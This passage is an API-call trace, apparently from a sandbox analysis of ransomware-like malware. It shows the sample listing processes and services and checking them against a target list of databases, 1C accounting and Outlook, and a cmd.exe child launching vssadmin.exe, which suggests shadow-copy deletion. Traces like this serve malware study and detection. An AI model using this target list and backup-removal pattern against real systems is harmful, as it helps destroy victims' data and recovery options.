(lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0211.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0211.592] lstrlenW (lpString="Winmgmt") returned 7 [0211.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0211.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0211.592] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0211.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0211.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0211.592] lstrlenW (lpString="wscsvc") returned 6 [0211.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0211.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0211.592] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0211.592] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0211.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0211.592] lstrlenW (lpString="wuauserv") returned 8 [0211.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0211.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0211.593] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0211.593] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0211.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0211.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0211.593] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0211.595] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.596] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.597] lstrlenW (lpString="System") returned 6 [0211.597] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0211.597] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0211.597] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0211.597] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0211.597] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0211.597] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0211.598] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0211.598] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.598] lstrlenW (lpString="smss.exe") returned 8 [0211.598] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0211.598] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0211.598] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.599] lstrlenW (lpString="csrss.exe") returned 9 [0211.599] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.600] lstrlenW (lpString="wininit.exe") returned 11 [0211.600] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.601] lstrlenW (lpString="csrss.exe") returned 9 [0211.601] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.602] lstrlenW (lpString="winlogon.exe") returned 12 [0211.602] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.603] lstrlenW (lpString="services.exe") returned 12 [0211.603] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.604] lstrlenW (lpString="lsass.exe") returned 9 [0211.604] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0211.605] lstrlenW (lpString="lsm.exe") returned 7 [0211.605] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.606] lstrlenW (lpString="svchost.exe") returned 11 [0211.606] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.607] lstrlenW (lpString="svchost.exe") returned 11 [0211.607] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.608] lstrlenW (lpString="svchost.exe") returned 11 [0211.608] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.609] lstrlenW (lpString="svchost.exe") returned 11 [0211.609] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.610] lstrlenW (lpString="svchost.exe") returned 11 [0211.610] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.611] lstrlenW (lpString="audiodg.exe") returned 11 [0211.611] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.612] lstrlenW (lpString="svchost.exe") returned 11 [0211.612] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.613] lstrlenW (lpString="svchost.exe") returned 11 [0211.613] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0211.613] lstrlenW (lpString="dwm.exe") returned 7 [0211.613] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0211.651] lstrlenW (lpString="explorer.exe") returned 12 [0211.651] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0211.652] lstrlenW (lpString="spoolsv.exe") returned 11 [0211.652] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0211.653] lstrlenW (lpString="taskhost.exe") returned 12 [0211.653] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.654] lstrlenW (lpString="svchost.exe") returned 11 [0211.654] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0211.655] lstrlenW (lpString="taskeng.exe") returned 11 [0211.656] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0211.657] lstrlenW (lpString="taskhost.exe") returned 12 [0211.657] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0211.658] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0211.658] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0211.659] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0211.659] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0211.660] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0211.660] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0211.661] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0211.661] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0211.662] lstrlenW (lpString="always_winds.exe") returned 16 [0211.662] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0211.663] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0211.663] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0211.664] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0211.664] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0211.664] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0211.665] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0211.665] lstrlenW (lpString="alienwed.exe") returned 12 [0211.666] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0211.666] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0211.666] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0211.667] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0211.667] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0211.668] lstrlenW (lpString="mp beginners.exe") returned 16 [0211.668] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0211.669] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0211.669] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0211.670] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0211.670] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0211.671] lstrlenW (lpString="harassment.exe") returned 14 [0211.671] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0211.672] lstrlenW (lpString="francis-communication.exe") returned 25 [0211.672] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0211.673] lstrlenW (lpString="gccinformational.exe") returned 20 [0211.673] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0211.674] lstrlenW (lpString="diploma.exe") returned 11 [0211.674] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0211.675] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0211.675] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.676] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.676] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.677] lstrlenW (lpString="svchost.exe") returned 11 [0211.677] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0211.678] lstrlenW (lpString="sppsvc.exe") returned 10 [0211.678] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.679] lstrlenW (lpString="svchost.exe") returned 11 [0211.679] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0211.680] lstrlenW (lpString="qnuriy.exe") returned 10 [0211.680] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0211.681] lstrlenW (lpString="cmd.exe") returned 7 [0211.681] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0211.682] lstrlenW (lpString="conhost.exe") returned 11 [0211.682] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0211.683] lstrlenW (lpString="vssadmin.exe") returned 12 [0211.683] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.684] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.684] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0211.684] lstrlenW (lpString="VSSVC.exe") returned 9 [0211.685] Process32NextW (in: hSnapshot=0x1dc, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0211.685] CloseHandle (hObject=0x1dc) returned 1 [0211.686] Sleep (dwMilliseconds=0x1f4) [0212.197] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0212.197] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0212.198] GetLastError () returned 0xea [0212.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f06078 [0212.198] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0212.198] CloseServiceHandle (hSCObject=0x570150) returned 1 [0212.199] lstrlenW (lpString="Appinfo") returned 7 [0212.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0212.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0212.199] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0212.199] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0212.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0212.199] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0212.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.199] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0212.199] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0212.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0212.199] lstrlenW (lpString="AudioSrv") returned 8 [0212.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0212.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0212.199] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0212.199] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0212.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0212.199] lstrlenW (lpString="BFE") returned 3 [0212.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0212.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0212.199] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0212.199] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0212.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0212.199] lstrlenW (lpString="CryptSvc") returned 8 [0212.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0212.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0212.199] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0212.200] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0212.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0212.200] lstrlenW (lpString="CscService") returned 10 [0212.200] lstrcmpiW 